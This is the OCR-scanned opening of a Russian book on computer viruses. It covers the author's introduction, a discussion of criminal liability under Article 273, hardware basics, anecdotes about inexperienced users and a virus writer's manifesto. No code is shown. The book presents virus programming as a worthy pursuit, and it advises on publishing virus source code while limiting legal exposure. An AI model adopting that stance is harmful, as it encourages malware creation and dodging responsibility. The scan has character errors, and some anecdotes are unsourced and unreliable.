Введение
Введение Эту книгу я начал писать для себя самого. Хочу отметить, что я не професси ональный вирусолог, т.е. ...
57 downloads
761 Views
14MB Size
Report
This content was uploaded by our users and we assume good faith they have the permission to share this book. If you own the copyright to this book and it is wrongfully on our website, we offer a simple DMCA procedure to remove your content from our site. Start by pressing the button below!
Report copyright / DMCA form
Введение
Введение Эту книгу я начал писать для себя самого. Хочу отметить, что я не професси ональный вирусолог, т.е. не занимаюсь созданием антивирусных программ, но знаю все необходимое, чтобы быть на равных с саморазмножающейся программой (виру сом). Однажды, когда я занимался изучением очередного вируса, я спросил себя: "А какую книгу я хотел бы иметь под рукой в момент моей первой встречи с вирусами". И, потратив почти целый год, я написал книгу, которую вы сейчас держите в руках. Если вы дочитали до этого места, то я уверен, что потратил время не зря. Я старал ся объяснить максимально полно (насколько это возможно) и доступно все моменты проблемы компьютерных вирусов. Для начала надо сказать, что до 1991-92 гг. проблема компьютерных вирусов практически не стояла в странах СНГ. Когда газеты периодически сообщали о вирус ных актах в других странах, такие истории, как правило, появлялись на последних страницах рядом с курьезами. Да и сейчас подобные сообщения находятся в том же месте. Даже сообщения о вирусных атаках и ущербе, причиненном западным ком пьютерным центрам, который оценивается миллионами долларов, не вызывали боль шой тревоги среди компьютерных специалистов в России, ибо описываемое происходило там, на Западе. Однако первые нападения вирусов на отечественные ПК заставили изменить точку зрения на эти проблемы. Не успев появиться в нашей стране, компьютерные вирусы с фантастической скоростью распространились повсюду. Сейчас, пожалуй, немного осталось органи заций, в которых пользователи персональных компьютеров не успели еще на практи ке познакомиться с этим явлением. Возможно, некоторые пользователи работают на зараженных компьютерах, не подозревая об опасности. Не секрет, что игровые про граммы и "шароварный" (shareware) софт — основные разносчики инфекции. По крайней мере, у нас в стране, где еще обмен компьютерной информацией по каналам связи не стал широко доступен для рядового пользователя. Часто основной програм мой, с которой пользователь "работает" на ПК, бывает какая-нибудь игрушка. Одна ко в широком распространении вирусов повинны не только "геймеры", но и сама традиция свободного обмена дискетами, содержащими программное обеспечение. Мягко говоря, еще не у всех наших пользователей выработалась привычка покупать только фирменные дистрибутивные диски (хотя и это не всегда является гарантом бе зопасности). Кстати, я опросил большую часть своих знакомых и пришел к выводу, что 3/4 компьютерных пользователей являются фрикерами (free). Не отсюда ли все наши проблемы? Но, как говорится давайте оставим этот вопрос нашим горячо лю бимым философам и вернемся к нашим баранам. Среди пользователей распространяются странные слухи о таинственных ви русах в ЭВМ. Часто полагают, что речь идет об органических вирусах, и уже боятся трогать чужие дискеты без перчаток, предпочитают пользоваться почтовыми ящика ми из боязни заражения, и я не удивлюсь, если кто-нибудь наденет презерватив на дискету с информацией из сомнительного источника. По-видимому, среди пользова телей ЭВМ распространилась истерия, аналогичная страху перед эпидемией СПИДа.
Введение В имеющейся литературе для широкого круга читателей иногда можно встре тить ошибочные и неправдоподобные сведения. Например, в одной очень распрост раненной и читаемой книге сказано, что некоторые вирусы "выживают" в компьютере даже после выключения питания! Неизвестно, что имел ввиду автор, но эта фраза полностью абсурдна. Дело в том, что при выключении питания содержи мое оперативной памяти теряется, в ПЗУ записать что-либо невозможно, а в BlOSe — свободного места для хранения вирусного кода не хватит, хотя нет, хватит... но данная технология появилась через год после выхода данной книги. Закрадывают ся подозрения, что столь уважаемый мной автор (по этическим соображениям не на зываю фамилию) занимался разработкой технологии записи вируса во Flash BIOS и уже тогда знал что, такое возможно. В общем, бред. Кстати я знаю только один такой вирус, остальные вирусы могут "выжить" в компьютере разве что на жестком диске, но этой способностью обладают все вирусные программы. Эта книга должна помочь, как читателям, которые хотят ознакомиться с этой темой, так и читателям, которые интересуются, прежде всего, программированием вирусов, предоставив им исчерпывающую информацию по всем разделам пробле мы вирусов. Эта книга ставит вопрос о поиске новых путей в программировании. Ком пьютерные вирусы создали проблему, которая ждет решения силами молодых заин тересованных программистов. Эта книга предоставляет для этого всю необходимую информацию. Ведь почти во всех общеупотребительных языках программирования имеются программы-вирусы. Книга построена по принципу: если знаешь, как сделать вирус, то знаешь, и как избавиться от вируса. Однако работа с компьютерными вирусами требует осозна ния высокой ответственности за возможный ущерб и даже может повлечь за собой гибель людей. Как и все технические новшества, компьютерные вирусы имеют две стороны. Неверное использование вирусов может нанести невообразимый ущерб; правильное их использование может породить новое поколение ЭВМ, правда многие с этим не согласны. Эта книга позволит любому(!) читателю принять участие в этих разработках и внести свой вклад в развитие систем обработки данных. Тот, кто хочет практически и экспериментально разобраться с компьютерны ми вирусами, очень быстро обнаружит, какие фантастически привлекательные воз можности открывают программы-вирусы. При этом возникает вопрос: "Как, собственно говоря, оценить тот факт, что хороший (даже очень хороший) программист отправляет в свободное информацион ное пространство свой закодированный в двоичном коде интеллект с заданием пло диться и размножаться, да еще к тому же, мериться силой с большим и жестоким "внешним миром", где каждый норовит уничтожить и стереть его с каждого сектора своего жесткого диска?" На этот вопрос каждый должен ответить сам. Книга ответа на этот вопрос не дает. В обширной информации по компьютерным вирусам, как правило, всегда при водятся следующие три скептических утверждения: панацеи от вирусов не сущест вует, не обольщайтесь, что можете на сто процентов себя защитить; следящие
4
Введение программы не могут быть абсолютно надежными, обязательно найдется вирус, кото рый обойдет поставленные ловушки, поскольку фантазия и изобретательность созда телей вирусов неисчерпаемы; антивирусные программы скованы и спасают только от тех вирусов, которые им известны (12-13 тыс.). А вирусов по приблизительным дан ным насчитывается 20 (по Маккафи 45) тысяч. Видите, даже здесь расхождения. Еще пять-шесть лет назад заявление программиста о том, что ЭВМ может быть поражена "вирусами", вероятно, вызвало бы лишь сострадательную улыбку коллег. Между тем, отношение к этой проблеме резко изменяется не в лучшую сто рону, не в последнюю очередь из-за большого числа не всегда квалифицированных публикаций в различных специальных журналах. Однако и сейчас еще многие поль зователи считают, что, когда речь идет о компьютерных вирусах, имеются в виду ви русы в биологическом смысле этого слова. Это неправильно! Компьютерные вирусы — это такие же программы, как Windows (по крайней мере, много общего) или программы из серии утилиты Норто на. Однако такое искаженное представление о компьютерных вирусах обусловило I широкий спектр мнений по этому поводу — от уже упоминавшейся сострадательной улыбки и понимающей ухмылки до панического страха и вирусофобии (это уже на нервной почве). Я был неоднократным свидетелем профессионального обсуждения этой темы. Но речь шла о "чужих дискетах", стоимости антивирусных программ, о вирусах, проедающих дырки в жестком диске ЭВМ, об "аппаратных вирусах, по вреждающих остальные части компьютерного тела", и о том, какие плохие эти "дяди вирусописатели", и что им нужно кое-что оторвать (например, руки). И это профес сионалы... Эта книга должна внести некоторую ясность в эту проблему и послужить проводником в мир компьютерных вирусов. Книга содержит практические указания и много фактических материалов, связанных с этими программами (исходники, при меры, пояснения и т.д.). Руководитель авторского коллектива А.А. Парандовский
Предыстория
Предыстория Правовой аспект Начать надо с юридической проблемы. Я бы о ч е н ь не хотел» чтобы хоть ктото щ моих читателей имел проблемы с законом из-за компьютерных1 вирусов. Не сто ят оли того. Итак, юридическая практика, как всегда, отстает от достижений науки и тех ники. По моему личному мнению, общее представление о возможных правовых по следствиях использования вирусов, а также о правовых последствиях публикации программ-вирусов дает пользователям и программистам фундаментальная работа Компьютерные вирусы и право". Эта работа известная до сих пор .лишь узкому кру гу лиц, была написана кандидатом юридических наук из Гамбурга 'Стефаном Аккерманом, интересующимся всеми правовыми вопросами, относящимися к аппаратному, программному обеспечению и телекоммуникации. Но для России юна несколько не приемлема, поэтому я попытаюсь раскрыть эту тему сам, по возможности кратко и до ступно. Но, должен сразу оговориться, что я не юрист и в моих рассуждениях возможны подвохи. Если кто-нибудь из вас найдет здесь таковой, убедительно прошу сообщить мне. С благодарностью приму все предложения и пожелашия. Благодаря растущей разрушительной силе компьютерных вшрусов они стали излюбленной темой общей и "специальной" прессы, радио и телевидения. В сообще ниях речь идет в основном о чисто технических вопросах, например: что такое ви рус, как он применяется и, разумеется, как можно защититься ют компьютерных вирусов. И то не особенно компетентно. Пример: в одном "профессиональном" жур нале было описание только что появившегося вируса, с интересвшм названием — MotherFucker который якобы после определенного срока работы активизировался и... сжигал материнскую плату. Во-первых, это невозможно, во-вторьых, в статье было подробно расписано, как он это делает, но это из раздела научной} фантастики. При этом почти совершенно игнорируются не менее актуальные нравственные и право вые аспекты программирования и применения вирусов, такие, как последствия тако го рода вмешательства. Задача раздела заключается в том, чтобы исправить это пащожение, кажуще еся мне ненормальным, и по возможности полно рассмотреть п р а в 5 0 в ы е вопросы, ко торые возникают или могут возникнуть в связи с вирусами. В достаточно доступной и связной форме здесь объяснено, какие правовые последствия м^гут иметь разра ботка, публикация и распространение программ-вирусов. При эт< ом Не будем оста навливаться на необычайно сложном вопросе доказательства вищ ы . Компьютерные вирусы, как и вся компьютерная технология^ относительно но вая проблема. А правовая наука реагирует на технические новшества с большим опоз данием. Например, тема компьютерных вирусов практически не затронута в современной литературе и юридической практике. Поэтому высказанные здесь идеи не опираются на сложившиеся представления в литератуР н ы х источниках, и к ним
Предыстория следует относиться с разумной осторожностью, а не рассматривать как незыблемый закон земного бытия. Тем не менее, я склонен полагать, что до тех пор, пока юриди ческая практика не будет обеспечивать надежную правовую защищенность и четкую формулировку правовых норм, эти идеи могут служить подходящим ориентиром. С технической точки зрения различные виды компьютерных вирусов отлича ются по принципу их воздействия. Но в правовом аспекте эти различия несуществен ны, поскольку все виды вирусов изменяют, обрабатывают или разрушают данные. А это означает, что в правовом отношении компьютерные вирусы равнозначны. В са мом деле, если такие вирусы внедряются в чужую систему и причиняют ей ущерб, возникает естественный вопрос: кто должен нести за это ответственность. Значит, применение компьютерных вирусов может иметь два совершенно разных последствия в соответствии с уголовно-правовыми и гражданско-правовыми нормами. Доказано, что применение этих норм при совершении преступления одним лицом, без соучастников, проблем не вызывает. Трудности в правовом отношении возникают тогда, когда нужно различить непосредственное исполнение или соисполнительство, а также в случаях соучастия в чужом деянии, т.е. в случаях подстрека тельства или пособничества. Для многих это области неосознанной правовой ответственности, поскольку не все отдают себе отчет в том, что ответственность мо жет нести не только прямой исполнитель. Поэтому в доступной форме поясняется, при каких обстоятельствах рассматривается исполнительство или соучастие. Если я вас еще не загрузил всякими умными юридическими терминами, то можете спокой но приступать к чтению следующей главы.
Уголовно-правовая ответственность создателя вирусов Гл.28. Преступления в сфере компьютерной информации Ст.273 Создание, использование и распространение вредоносных программ для ЭВМ. Часть 1. Создание программ для ЭВМ или внесение изменений в уже суще ствующие программы, заведомо приводящих к несанкционированному уничтоже нию, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, систем ЭВМ или их сети, а равно использование либо распростране ние таких программ или машинных носителей с такими программами наказывает ся — лишением свободы на срок до 3-х лет со штрафом от 200 до 500 минимальных размеров оплаты труда или заработной платы и иного дохода осужденного в период от 2 до 5 месяцев. Часть 2. Те же деяния, повлекшие, по неосторожности тяжкие последствия — наказывается лишением свободы на срок от 3 до 7 лет. После столь сухого изложения данной проблемы в УК я непременно должен расшифровать вышеизложенное.
Предыстория В ст. 273 УК речь идет о разработке и распространении компьютерных виру сов путем создания программ для ЭВМ или внесения изменений в существующие программы. Опасность компьютерного вируса состоит в том, что он может привес ти, как следует из текста комментируемой статьи к полной дезорганизации систем компьютерной информации и при этом, по мнению некоторых специалистов в дан ной области вызвать тяжкие последствия, например, гибель людей. Здесь надо ска зать, что за всю историю существования компьютерных вирусов был всего 1 (по крайней мере, я больше не знаю) случай гибели человека, когда компьютер, к кото рому был подключен пациент, забарахлил по вине вируса и ввел летальную дозу мор фия. Хотя если рассуждать, сообразуясь с логикой и здравым смыслом, то в смерти этого человека виноват не вирус, а человек допустивший попадание вируса на ком пьютер, отвечающий за жизнь пациента, этого можно было избежать... Компьютерные вирусы чаще всего разрушают хранящиеся в памяти програм мы или данные, либо изменяют эти данные без их разрушения. Вирусы, как и троянские программы, создаются конкретными программиста ми. Хотя дальнейшее обсуждение будет в основном техническим, не следует забы вать, что ключевым аспектом проблемы является появление технокрыс — новой разновидности уголовных элементов, использующих для своих целей возросшую степень анонимности, достижимую с появлением ЭВМ, сетей и Интернета. Руководитель американской специальной группы по изучению компьютер ных преступлений, Кирк Тэбби, занимающий пост помощника прокурора в ЭнАрборе (шт. Мичиган) заявил: "Уголовное дело можно возбудить всегда, когда существует человек, совершивший преступление. Незаметное внедрение вируса в программу является злонамеренным действием, а создание подобной программы — преступлением". Из этого заявления можно сделать вывод: не было бы анонимности, не было бы и вирусов или их авторов. Появление достаточно суровых законов создает в известной мере трагичес кую ситуацию, известную под названием "поиск козла отпущения". Посадят одного, причем не вредного, остальные останутся на свободе. А что такое для молодого спо собного человека в 16-18 лет получить срок, даже условно? Жизнь испорчена... Да еще сознавая, что его посадили, а остальные, принесшие не меньший вред, гуляют на свободе и не понесут наказания.
Аппаратное обеспечение Теперь читатель спросит: "Как это возможно, что программа в ЭВМ ведет се бя так же, как вирус в организме?". Чтобы ответить на этот вопрос, необходимо ознакомиться со структурой вы числительной системы. Так как целью этой книги является также ознакомление лю бителей с вирусными программами, на последующих страницах кратко поясняется структура вычислительной системы. Это пояснение сильно ориентировано на опера ционную систему MS-DOS, однако все сказанное можно отнести также к большей части других операционных систем. (Читателям, знакомым с ЭВМ, следует запас-
8
Предыстория тись терпением на несколько следующих страниц, т.к. подробные пояснения необхо димы, чтобы сделать понятными специальные термины, неизвестные широкому кру гу пользователей). Ниже речь пойдет обо всех частях ЭВМ, к которым можно прикоснуться. Процессор (микропроцессор). Это "мозг" ЭВМ. (Прикасаться крайне не сове тую.) Он обрабатывает команды программы и может выполнять логические операции. Оперативная память (память прямого доступа). "Кратковременная память" ЭВМ. В рабочей памяти располагается информация, к которой процессор должен иметь быстрый доступ. При выключении напряжения питания информация в ОЗУ теряется. Постоянная намять (постоянное запоминающее устройство ПЗУ/ЭППЗУ). "Инстинктивные" функции ЭВМ записаны в постоянной памяти. Пользователь обычно не может изменить содержимое постоянной памяти. Здесь обычно записаны важные стандартные программы, такие как вывод на экран дисплея, управление принтером операционная система, игрушки и т.д. Массовая память (гибкий диск/жесткий диск/стример). "Долговременная память" ЭВМ. Информация, записанная в массовой памяти, не теряется и при вы ключении напряжения питания. Внешние устройства (принтер/плоттер/монитор). Все устройства, подклю ченные к ЭВМ. Эти аппаратные средства можно эксплуатировать при помощи про граммного обеспечения (драйверов).
Программное обеспечение В отличие от аппаратного обеспечения, до программного обеспечения нико му не удавалось дотронуться, так как здесь речь идет только о последовательности программных инструкций. Аппаратное обеспечение ЭВМ включает в себя следую щие компоненты: Операционная система. Она создает программное окружение. Благодаря этому, на ЭВМ с одинаковыми операционными системами можно использовать одни и те же программы, даже если эти ЭВМ изготовлены разными производителями. Эта переносимость программ обозначается как "совместимость". Операционная система использует множество функций или программ, хранящихся в постоянной памяти, и предоставляет в распоряжение стандартные операции: ввод, вывод и дисковые опе рации (ДОС — дисковая операционная система). Прикладное программное обеспечение. Программы, превращающие ЭВМ в средство труда. В качестве примеров могут быть названы программы редактирова ния текста, ведения финансового учета и сбора измеренных данных. Программа со стоит из последовательности команд процессора. Во время работы процессор постоянно обращается к памяти, так как оттуда он получает свои инструкции. Исходный код или исходный текст. Программа, написанная на языке про граммирования, операторы которого могут быть напечатаны, например, на Паскале, Фортране, Бейсике. Этот исходный код должен быть либо приведен к виду, понятно-
9
Предыстория му для процессора, при помощи компилятора (см. ниже), либо обработан при помо щи интерпретатора (см. ниже). Объектный код. Исходный текст, странслированный компилятором (см. ни же). Объектный код может обрабатываться процессором. Компилятор. Эта программа транслирует непонятный процессору исходный текст в исполняемую программу (объектный код). Интерпретатор. Во время обработки программы интерпретатор для каждого оператора программы, представленной в исходном тексте, обращается к таблице трансляции, а затем выполняет найденные команды процессора. Управление рабочей памятью осуществляет операционная система или при кладное программное обеспечение. Распределение рабочей памяти в общем случае выглядит следующим образом: Занято системой
Старшие адреса системы
Третья прикладная программа Вторая прикладная программа Первая прикладная программа Операционная система, включая функции, содержащиеся в ПЗУ
Младшие адреса системы
Как видно из таблицы, в рабочей памяти одновременно с операционной сис темой могут находиться несколько прикладных программ. Процессор, разумеется, не может обрабатывать одновременно несколько про грамм. Хотя иногда кажется, что в ЭВМ одновременно выполняется несколько про цессов (читателю наверняка знакомы часы, которые всегда показывают время в углу экрана дисплея), на самом деле эти процессы сдвинуты во времени, причем сдвиг на столько мал, что незаметен пользователю. Программы, которые постоянно находят ся в рабочей памяти, не будучи постоянно активными, называются программами, резидентными в памяти. Богатые возможности, которые предоставляют резидентные в памяти про граммы, так как они являются основой для специальной формы компьютерных виру сов. Очень полезным свойством резидентных программ является отсутствие затрат времени на их загрузку при повторном запуске. Обычная программа перед каждым повторным запуском должна быть передана (загружена) из массовой памяти в рабо чую, на что каждый раз требуется определенное время — время загрузки, програм ма же, резидентная в памяти, после однократной загрузки всегда доступна и может быть активизирована в кратчайшее время. Активизация таких программ осуществля ется чаще всего при помощи так называемого прерывания. Одно такое прерывание (Interrupt) будет описано в следующем примере. Вы принимаете пищу. Во время очередного поднесения вилки с пищей ко рту звонят в дверь. Вы кладете содержимое вилки в рот, откладываете вилку в сторону, идете к двери и приглашаете пришедшего войти. Неожиданно звонит телефон. Вы просите посетителя немного подождать, идете к телефону, отвечаете и беседуете с
10
Предыстория позвонившим. Затем Вы завершаете телефонный разговор и можете посвятить себя посетителю. После того, как посетитель уйдет, Вы вернетесь к приему пищи и закон чите его. Это пример двойного вложенного прерывания несколько поясняет пробле мы, возникающие при обработке прерываний, в частности, задание различных приоритетов (если одновременно звонят в дверь и по телефону, на что реагировать в первую очередь?) и сохранение определенного состояния прерывания (что Вы дела ли в то время, когда позвонили в дверь — ели или говорили по телефону?). С этими основными проблемами сталкивается процессор при обработке прерывания. При возникновении прерывания обычная обработка программы прерывается, и управление передается другой программе. Затем программа обработки прерывания оп ределяет, вернуться ли в вызывающую программу или продолжить выполнение задачи.
Проблема вопроса о распространении вирусов Разработка вирусных программ сама по себе не является наказуемой с точки зрения как уголовного, так и гражданского права (исключая случаи, когда данное произведение программного искусства причинило вред окружающим). Проблематичным является и доказательство вины за пособничество в измене нии данных (или в других преступлениях). Если получатель исходного текста генери рует из него работоспособную программу вирус и использует ее преступным образом, то программист является пособником неправомерного действия, совершенного глав ным исполнителем преступления. Вопрос состоит лишь в степени его виновности, т.е. в преднамеренности деяния (пособничество по неосторожности не наказуемо!). Оп ределяющим здесь является осознанность действий программиста в тот момент, т.е. понимание им всех существенных признаков правонарушения или деяния (в любом случае условно). Программист должен, по крайней мере, сознавать, что своими дей ствиями он способствовал совершению другими преступного деяния. При этом не требуется знать о подробностях самого деяния, т.е. кто его совершил и против кого оно было направлено. Даже отрицание программистом факта противоправного ис пользования его исходного текста недостаточно, чтобы снять обвинение в преднаме ренности. Поэтому исходный текст можно передавать только лицам, которых нельзя заподозрить в злонамеренном его использовании (или генерируемого из него вируса), например, людям которые занимаются изготовлением антивирусных программ. Публикация исходного текста программы-вируса не квалифицируется как по собничество или подстрекательство. Подстрекательством не считается даже призыв к противоправному деянию, поскольку подстрекательство предполагает преднаме ренное действие, которое здесь отсутствует. Преднамеренность имеет место, если подстрекатель, даже если его действия не направлены против конкретного лица, по крайней мере обратился к определенному им индивидуально кругу лиц. Такой состав отсутствует при публикации в вышеописанных средах. По этой же причине отпада ет обвинение в наказуемом пособничестве. Тем не менее, в публикации исходного текста может заключаться состав пре ступления. Здесь можно усмотреть общественный призыв к преступным действиям.
11
Предыстория Из сказанного следует, что сама по себе публикация исходного текста про граммы-вируса еще не несет в себе состава преступления. В зависимости от обстоя тельств конкретного случая из контекста публикации. Поэтому при публикации исходного текста следует обращать внимание на то, чтобы из контекста не сложилось ложное впечатление, что автор призывает к опре деленному действию. Серьезное дополнительное предостережение о вреде вируса и чисто "научная" мотивировка публикации, по-видимому, не достаточны, чтобы ис ключить подозрение в преступлении. Например, в журнале или в почтовом ящике опубликован вирус, в качестве комментария сказано: "Опробуйте этот вирус на одном из "хороших друзей", но ком ментарий типа: "Осторожно, вирус опасен! Смотрите, чтобы он не попал в компью тер, предназначенный для поддержания жизни...!" уже является проблематичным. Это может быть безобидная, ненаказуемая проделка, но может быть и открытый при зыв, который влечет наказание. Все зависит от смысла сомнительного комментария и от того, как он был понят адресатом. Нельзя однозначно ответить на вопрос, есть ли состав преступления в этом абстрактном примере. Но автор комментария в любом случае удивится, если ему придется обстоятельно беседовать с прокурором относи тельно как будто безобидных слов... Передача исполняемой программы-вируса намного опаснее передачи исходно го текста. Тем не менее возможная виновность оценивается так же, как сказано выше. Но в отношении гражданско-правовой ответственности следует особо учиты вать, что — в еще большей степени, чем при передаче исходного кода — безусловно, необходимо ясное указание на опасность программы, а также способа обращения с ней. В противном случае, при нанесении пользователю ущерба за счет действия ви руса, лицо, передавшее или опубликовавшее программу, несет ответственность за позитивное нарушение договора и обязано возместить причиненный ущерб, если между партнерами существуют договорные обязательства (например, между вла дельцем и пользователем коммерческого почтового ящика). Но даже с помощью таких подробных суждений невозможно ответить на все вопросы. В заключение обозначим возможные проблемы, сформулировав три про стых вопроса: 1. Нарушает ли авторское право владелец ЭВМ, обнаруживший у себя чужой вирус? 2. Может ли автор вируса требовать выдачи или уничтожения инфицирован ного программного обеспечения, содержащего программу-вирус? 3. Может ли изготовитель программного обеспечения, подвергшегося зараже нию вирусом, обвинить владельца ЭВМ в преднамеренном изменении программно го обеспечения? До момента сдачи данной книги в печать не нашлось никого, кто смог бы или захотел бы внятно ответить на эти вопросы, так как к каждому вопросу пришлось бы составлять заключение объемом в несколько страниц. В случае правового конфлик та, несомненно, вначале начнется спор экспертов по техническим вопросам, в кото-
12
Предыстория ром судьи, прокурор и прочие участники процесса будут чувствовать себя довольно неуютно. Но хватит о грустном.
Кто такие эти юзеры? Этой главой автор никого не хочет обидеть, наоборот, дать повод к размыш лению и самосовершенствованию. Если же кто-то все-таки обидится, то заранее про шу у него прощения. Технический прогресс даже в нашей стране все-таки идет как в глубину, так и в ширину. Это второе движение и привело к появлению несколько странной кате гории людей, давящих кнопки клавиатуры и при этом смотрящих в "телевизор". Об щее название этих людей — ЮЗЕРЫ (по-нашему — ПОЛЬЗОВАТЕЛИ). Их сообщество есть организация довольно многочисленная и даже несколько загадоч ная. Каждый сидящий за компьютером есть юзер — или в прошедшем, или в насто ящем (некоторые — даже в будущем) времени, тем не менее, я не встречал человека, который бы себя назвал этим словом. Все стараются записать себя в ПРОГРАММИ СТЫ, хотя у большинства нет никаких оснований причислять себя к представителям этой не слишком многочисленной и все еще уважаемой профессии. Подмечено — ес ли пользователь умеет нажимать F8 в Нортоне, то он себя считает компетентным, ес ли он умеет нажаимать F9 и еще что-то после этого — то он себя уже считает крутым, а когда он может написать две строки на Basic'e или языке dBASE, и при ис полнении этих строк машина не выдает никаких странных сообщений типа "Syntax error in line xxx", то этот самый человек сразу становится преисполненным спокой ной и самоуверенной гордости как потомок древнего и славного семейства: "Л — Программист!". Много ли людям нужно для счастья! Стараниями определенной про паганды и благодаря некоторым предрассудкам в общественном сознании вообще-то неплохие понятия "юзер" и "программср" оказались извращены: первое из них стало синонимом слов "балбес", "тормоз", "чайник" (не путать с сосудом для нагревания воды), "дилетант", а второе, кажется, стало обозначать профессию, едва ли не пер вую по массовости и уж точно третью по древности (вторая — журналист). По мое му мнению, уже давно пора менять это положение, кажущееся мне ненормальным. Пользователей, несмотря на все уверения, никто не любит. Кто не верит, пусть посмотрит на цены книжонок из серии "... для чайников" и стоимость разнооб разных курсов для бухгалтеров и секретарей. Все журналы и газеты компьютерного профиля гордо именуют себя "изданиями для программистов" (хотя программистам в них и читать то нечего), а видел ли кто-нибудь журнал или газету для пользовате лей? Каждый из читателей вполне может вспомнить множество историй как из про граммистского фольклора, так из личной практики о славных и великих подвигах некомпетентных пользователей. Эти истории чем-то схожи со знаменитой шовинис тической серией анекдотов, только вместо представителя малочисленного северного народа в них фигурирует представитель весьма многочисленной профессиональной (точнее, непрофессиональной) группы. Все это было бы смешно, если бы не было довольно грустно. Иногда один (но довольно крутой) юзер бывает опаснее целого стада злобных и наглых вирусов. Вирмеикеры частенько называют пользователей
13
Предыстория "юзверями", по вполне понятным причинам. Никому не хочется в один прекрасный день увидеть на своем винте вместо результата недельной работы чистые, как слеза, сектора и виноватую улыбку девочки-секретарши, по милости начальства делящей с тобой одно рабочее место... Итак, главное. Основная и определяющая черта юзеров — дилетантизм (не путать с дальтонизмом). За их некомпетентность их и не любят, хоть это не вина, а беда человека. Тут начинаешь понимать умом, что людей нужно учить, учить спокой но, долго и терпеливо. Кстати, от компьютерных вирусов все-таки есть польза: они, как ничто другое, показывают: персональная ЭВМ создана компетентными людьми для компетентных людей, непрофессионалу возле нее делать нечего, и если ты рабо таешь с этой вершиной современной техники — то нужно, несмотря на амбиции, по стоянно чему-то учиться. Приведу несколько примеров. Все истории, описанные ниже, наблюдались мной, моими друзьями, знакомыми, знакомыми друзей и друзьями знакомых... Коро че, все это чистая правда. Начнем с преподавателей программирования, от которых в институте, будучи студентом, один мой товарищ так и не добился ответа на вопрос "Как сделать рези дентную программу?" — У меня не читается дискета. (Протягивает преподавателю пятидюймовку.) — (Смотрит на дискету, а она как раз повернута так, что видна дырка в круг лом отверстии.) — Так она и не будет читаться, она же с дыркой! Юзер садится за компьютер. А Нортон — на пол-экрана. Полез в верхнее ме ню, жмет функциональные клавиши... Прошло 5460 тиков таймера... Нортон на пол экрана. Выключает компьютер и переходит за другой. Юзер зашел в директорию WOLF3D и нажал F3 на *.WL6. Недоуменно смо трит на эту белиберду. Подозвал товарища, стали смотреть вместе. Подошел препо даватель, смотрел, смотрел, PgUp, PgDn, а потом нажал Reset. Заходит в класс одна студентка и просит проверить дискету "Лозотестом". Проверяют... ОК. — Странно, а почему я не могу с нее ничего стереть? — Хммм... Не знаю. И тут Black Angel (подпольная кличка одного из самых известных россий ских вирмейкеров) указывает на заклейку. Юзер звонит по телефону: — Мы тут Вебим диск, а на нем ... Короче, дай мне всю информацию о виру се Crypt.
14
Предыстория Спрашивают: каким прерыванием запускается антивирус? Дама лет 55: У меня дискета не читается. Ох и долго она потом отдирала на клейку с железной шторки трехдюймовки. Дама помоложе: приносит на занятие свою клавиатуру — крутую такую, под Форточки, достает ее из пакета: — Покажите, а где тут клавиши переключения на русский язык? И последнее. Описываемое событие произошло после появления на свет но вой поп-группы — "Вирус", а в частности их песни "Ты меня не ищи". На одной из популярных радиостанций была диджеем женщина лет 30. А так как у всех уважающих себя радиостанций есть компьютеры с записанными на них музыкой и песнями, то ее начальник попросил: — Найди на компьютере "Вирус" — "Ты меня не ищи". — Что-о-о? У нас на компьютере вирус? ...и запустила DrWeb. Кстати! Вирмейкеры, возьмите на заметку, классное на звание! Так вот, к чему это я веду. Именно такие люди в основном и становятся жертвой вирусов. Сколько им не внушаешь: не знаешь, что за файл — не запускай, ибо любопыт ной Варваре на базаре нос оторвали... Но все убеждения абсолютно бесполезны... Что же, не хотят учится — не надо. А пока будут жаловаться: — Ой, злобный вирус форматнул мой винт, а там дипломный проект, курсо вая, отчет за месяц работы и резервной копии нет. На самом деле если Ваш винт форматнули, то это еще не значит, что Вы по теряли вашу информацию. О том, как можно ее восстановить читайте дальше. После столь бурного обзывательста, я все-таки настоятельно рекомендую не обижаться.
Полемика Обращение Int O'Dream'a (тоже очень известный вирмейкер) к народу. Стиль и орфография автора сохранены. Вопрос: Вам что, больше нечем заняться? Ответ: Нормальный, взрослый человек (по-моему) должен понимать, что та кое толерантность. Право любого человека — заниматься тем, чем он хочет зани маться, если он не вредит тем самым окружающим. Вы согласны со мной? Мы занимаемся тем, чем нам хочется заниматься и мы этим самым, не вре дим никому. Следовательно — это наше право, заниматься тем, чем Мы хотим зани маться. Следовательно — все претензии с Вашей стороны нелогичны. Возможно, Вы захотите сказать, что Мы кому-то повредили? Ответим и на этот вопрос.
15
Предыстория В чем выражается вред "нанесенный нами" кому-либо? Если в уничтожении какой-либо информации — то это заведомая ложь, т.к. никто из нас не приемлет прин ципа "Деструкция ради деструкции" и, следовательно, никому ничего не портил. Почему-то большинство людей (в том числе и некоторые профессионалы) под вирусом подразумевают нечто злобное и рычащее и обязательно форматирую щее, и бог весть знает какое плохое. Когда я отвечал людям на вопрос чем я занимаюсь, что пишу вирус, они обычно спрашивали: "А что он будет удалять/форматировать/уничтожать"? А когда я отвечал, что ничего, реакция была почему-то однозначной: "Так это же неправильно, это не вирус". К сожалению, такое мнение бытует у большинства известных мне людей. Что я могу вам сказать на это — люди, Вы ошибаетесь. Вирус — это "живой организм", если кто не понял, и цель его вовсе не отфор матировать ваш винчестер, а ВЫЖИТЬ. Я, конечно, не могу ручаться за всех вирусописателей в мире, но наш клуб поддерживает именно эту идею. Возможно, Вы захотите сказать, что мы приносим вред, опубликовав исход ники вирусов, и любой (не совсем умный человек) ими может воспользоваться в сво их (не совсем хороших) целях? Так, боже мой — любой, прочитав в каком-нибудь журнале описание динамита или формулу нитроглицерина, сможет сделать и то, и другое и использовать в своих "нехороших" целях. Так кто ему доктор? Или давайте будем обвинять автора публикации, а? Вот — магазин. В нем продаются столовые ножи. И никто ведь не подозрева ет, что вот этот мужчина через п часов зарежет этими самыми ножами девушку в пе реулке? Так, может, давайте не будем продавать ножи? А вот продаются стулья, хорошие такие стулья, с железными ручками, ими можно проломить голову. Давайте не будем продавать стулья? А вот профессор, он опубликовал в журнале свое новое открытие: он изобрел новый яд. Откуда же ему знать, что через пару дней другой человек отравит жену этим самым ядом? Давайте запретим все публикации на эту тему? А то не дай бог, что случится. А вот еще одна сцена: человек придумал атомный реактор. Давайте засудим мужика за то, что через несколько лет реактор взорвется по причине халатности тех ника, который был рассеян вследствие смерти любимого президента и посему к от ветственности привлечен быть не может? Давайте убивать и запрещать все, что несет что-то новое, а значит опасное и вредное, возможно противообщественное и точно злобное и непонятное. Еще не сколько примеров? Я думаю, хватит. Кто-то, помнится, возражал против подобных сравнений ввиду того, что 